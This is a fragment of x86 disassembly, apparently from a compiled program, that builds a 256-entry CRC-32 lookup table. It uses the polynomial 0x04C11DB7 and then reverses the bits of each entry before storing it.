sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov edx, ecx
sar edx, 0x1f
and edx, 0x4c11db7
lea eax, [ecx + ecx]
xor edx, eax
mov ecx, edx
sar ecx, 0x1f
and ecx, 0x4c11db7
lea eax, [edx + edx]
xor ecx, eax
mov ebx, ecx
sar ebx, 0x1f
and ebx, 0x4c11db7
lea eax, [ecx + ecx]
xor ebx, eax
mov eax, dword [ebp - 4]
xor edx, edx
lea esi, [edi + eax*4]
lea ecx, [edx + 1]
test bl, 1
je 0x404e52
mov eax, 0x20
sub eax, ecx
bts edx, eax
inc ecx
shr ebx, 1
cmp ecx, 0x21
jl 0x404e43
mov ecx, dword [ebp - 4]
inc ecx
mov dword [esi], edx
mov dword [ebp - 4], ecx
cmp ecx, 0xff
jle 0x404d60
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret